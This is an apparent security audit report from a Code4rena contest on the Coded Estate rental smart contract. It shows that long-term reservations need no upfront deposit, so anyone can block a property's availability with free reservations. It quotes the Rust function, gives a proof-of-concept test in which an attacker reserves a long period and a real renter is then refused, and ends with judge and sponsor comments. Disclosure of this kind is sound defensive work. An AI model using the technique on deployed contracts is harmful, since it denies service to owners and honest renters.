Lack of upfront cost for long-term reservations allows fake reservations, blocking real users

[c4-bot-10]

Lines of code

https://github.com/code-423n4/2024-10-coded-estate/blob/main/contracts/codedestate/src/execute.rs#L1341-L1433

Vulnerability details

Impact

This issue allows a malicious actor to reserve long-term rentals without upfront payment, making large time slots unavailable for other potential renters. It creates an unfair scenario where legitimate users are blocked out from booking, as the property becomes unavailable for both short-term and long-term rentals during the reserved period. This could lead to decreased revenue for property owners.

Description

The setreservationforlongterm function allows users to reserve long-term rentals without any upfront payment. Once a reservation is made, the reserved period is marked as unavailable, blocking other users from reserving the same property during that period for either long-term or short-term rentals.

pub fn setreservationforlongterm(
    &self,
    deps: DepsMut,
    info: MessageInfo,
    token_id: String,
    renting_period: Vec<String>,
    guests:usize,
) -> Result<Response<C>, ContractError> {
    let mut token = self.tokens.load(deps.storage, &token_id)?;
    let new_checkin = renting_period[0].parse::<u64>();
    let new_checkin_timestamp;

    match new_checkin {
        Ok(timestamp) => {
            new_checkin_timestamp = timestamp;
        }
        Err(_e) => {
            return Err(ContractError::NotReserved {});
        }
    }
    let new_checkout = renting_period[1].parse::<u64>();
    let new_checkout_timestamp;

    match new_checkout {
        Ok(timestamp) => {
            new_checkout_timestamp = timestamp;
        }
        Err(_e) => {
            return Err(ContractError::NotReserved {});
        }
    }

    if ((new_checkout_timestamp - new_checkin_timestamp)/ 86400) < token.longterm_rental.minimum_stay {
        return Err(ContractError::LessThanMinimum {});
    }

    let mut placetoreserve: i32 = -1;
    let lenofrentals = token.rentals.len();

    let mut flag = false;
    // @c4-contest: if the renting period overlap with an existing rental, the placetoreserve will be -1
    for (i, tenant) in token.rentals.iter().enumerate() {
        let checkin = tenant.renting_period[0];
        let checkout = tenant.renting_period[1];
        if new_checkout_timestamp < checkin {
            if i == 0 {
                placetoreserve = 0;
                break;
            } else if flag {
                placetoreserve = i as i32;
                break;
            }
        } else if checkout < new_checkin_timestamp {
            flag = true;
            if i == lenofrentals - 1 {
                placetoreserve = lenofrentals as i32;
                break;
            }
        } else {
            flag = false;
        }
    }

    if placetoreserve == -1 {
        if lenofrentals > 0 {
            return Err(ContractError::UnavailablePeriod {});
        } else {
            placetoreserve = 0;
        }
    }

    let tenant = Rental {
        denom:token.longterm_rental.denom.clone(),
        rental_type:true,
        approved:token.longterm_rental.auto_approve,
        deposit_amount: Uint128::from(0u64), // @c4-contest: no upfront payment required
        renting_period: vec![new_checkin_timestamp, new_checkout_timestamp],
        address: Some(info.sender.clone()),
        approved_date: None,
        cancelled:false,
        guests,
    };

    token
        .rentals
        .insert(placetoreserve as usize, tenant);

    self.tokens.save(deps.storage, &token_id, &token)?;
        Ok(Response::new()
            .add_attribute("action", "setreservationforlongterm")
            .add_attribute("sender", info.sender)
            .add_attribute("token_id", token_id))
}

This lack of an upfront cost creates an opening for abuse. A malicious actor could spam the system by making multiple long-term reservations across various periods for a property, essentially making all time slots unavailable. By doing so, legitimate users are blocked from renting the property, potentially causing financial harm to the property owner.

Even though property owners can reject these reservations manually, they cannot easily distinguish between legitimate and fake reservations. The actor could use multiple addresses to make the fake reservations appear legitimate. This forces the owner to either wait for a deposit via depositforlongtermrental or communicate with the renter through other channels (like messaging) to verify if the booking is genuine.

The key issue here is that all of these actions involve a wait time, during which legitimate renters might lose interest and book other properties. This wait time represents an opportunity cost, reducing the property's chances of being rented by honest users. The inability to distinguish between genuine and fake reservations, combined with the opportunity cost, makes this finding valid and harmful to the system’s integrity.

Example Scenario:

1. A malicious user reserves multiple periods for a popular property using different addresses, without any upfront payment.
2. Legitimate users attempt to reserve the property but are blocked because the periods are marked as unavailable.
3. The property owner is forced to wait for the malicious user to make a deposit or use external communication to verify the reservation, leading to lost rental opportunities as honest users may move on to other properties.

Proof-of-Concept

The following test demonstrates that attacker can make a reservation for long-term rental with no cost and honest renter cannot reserve on unavailable slot made by attacker.

Boilerplate for PoC: https://gist.github.com/nnez/c76b1a867dd8dc441dbe552e048b796e

Steps

1. Replace everything in contracts/codedestate/src/multi_tests.rs with boilerplate from above secret gist.
2. Insert below test:

#[test]
fn m2_long_term_rental_denial_of_service(){
    let (mut app, contract_addr) = mock_app_init_contract();
    
    // Minter mints a new token
    execute_mint(&mut app, &contract_addr, MINTER, TOKEN_ID);

    // Minter lists token for long-term rental
    let list_long_term_rental_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetListForLongTermRental { 
        token_id: TOKEN_ID.to_string(),
        denom: USDC.to_string(),
        price_per_month: 1000,
        auto_approve: true,
        available_period: vec![0.to_string(),1640995200.to_string()], // 1 year availability
        minimum_stay: 0,
        cancellation: vec![],
    };
    let res = app.execute_contract(
        Addr::unchecked(MINTER), 
        contract_addr.clone(), 
        &list_long_term_rental_msg, 
        &[]
    );
    assert!(res.is_ok()); // Everything is ok

    const ATTACKER: &str = "attacker";
    // Asserts that Attacker has no prior balance
    assert_eq!(query_usdc_balance(&app, ATTACKER), 0);
    // Attacker makes a reservation over multiple span of renting periods
    let reserve_long_term_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetReservationForLongTerm { 
        token_id: TOKEN_ID.to_string(),
        renting_period: vec![1.to_string(), 1928640800.to_string()],
        guests: 1,
    };
    let res = app.execute_contract(
        Addr::unchecked(ATTACKER), 
        contract_addr.clone(), 
        &reserve_long_term_msg, 
        &[]
    );
    assert!(res.is_ok()); // Everything is ok

    const RENTER: &str = "renter";
    // Honest renter tries to make a reservation for 7-12-2024 10:00 to 11-12-2024 10:00
    let reserve_long_term_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetReservationForLongTerm { 
        token_id: TOKEN_ID.to_string(),
        renting_period: vec![1728295200.to_string(), 1728640800.to_string()],
        guests: 1,
    };
    let res = app.execute_contract(
        Addr::unchecked(RENTER), 
        contract_addr.clone(), 
        &reserve_long_term_msg, 
        &[]
    );
    // The transaction fails from Unvailable Period as it's already reserved for Attacker
    println!("{:?}", res);

}

3. Run cargo test m2_long_term_rental_denial_of_service -- --nocapture
4. Observe that honest renter's transaction fails from unavailable period made by attacker.

Recommended Mitigations

Consider requiring some amount of upfront payment for long-term rental reservation with cancellation policy as already implemented in short-term rental flow.

Assessed type

Context

[c4-judge]

OpenCoreCH marked the issue as primary issue

[OpenCoreCH]

Definitely a good point to raise, on the fence about the severity here. One could argue that this is by design for such platforms, as there are many other web2 sites where you can make reservations for free and therefore block a valid user. On the other hand, because this is a smart contract where you can easily submit transactions from multiple addresses, doing this becomes very easy and hard to prevent after an initial deployment. A malicious user could easily perform a lot of reservations to block properties all the time, which would impact the intended function of the protocol and its availability. This matches the definition of a valid Medium.

[c4-judge]

OpenCoreCH marked the issue as selected for report

[blockchainstar12]

We have manual reject logic at this contract, so request without deposit won't be confirmed to owners